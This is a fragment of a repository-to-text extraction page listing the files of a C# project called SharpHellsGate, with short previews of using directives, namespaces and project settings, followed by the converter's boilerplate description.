"preview": "using System;\r\nusing System.Collections.Generic;\r\nusing SharpHellsGate.Module;\r\n\r\nnamespace SharpHellsGate {\r\n\r\n ///"
},
{
"path": "SharpHellsGate/SharpHellsGate.csproj",
"chars": 555,
"preview": "<Project Sdk=\"Microsoft.NET.Sdk\">\r\n\r\n <PropertyGroup>\r\n <OutputType>Exe</OutputType>\r\n <TargetFramework>net5.0</T"
},
{
"path": "SharpHellsGate/Util.cs",
"chars": 4400,
"preview": "using System;\r\nusing System.Diagnostics;\r\n\r\nnamespace SharpHellsGate {\r\n\r\n /// <summary>\r\n /// Util class. Used m"
},
{
"path": "SharpHellsGate/Win32/DFunctions.cs",
"chars": 5358,
"preview": "using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n\r\n /// <summary>\r\n /// "
},
{
"path": "SharpHellsGate/Win32/Macros.cs",
"chars": 4651,
"preview": "using System;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n\r\n /// <summary>\r\n /// Windows Macros used for error and succe"
},
{
"path": "SharpHellsGate/Win32/Structures.cs",
"chars": 6798,
"preview": "using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n public static class Struc"
},
{
"path": "SharpHellsGate.sln",
"chars": 1146,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.3"
}
]
About this extraction
This page contains the full source code of the am0nsec/SharpHellsGate GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (109.9 KB), approximately 25.5k tokens, and a symbol index with 63 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.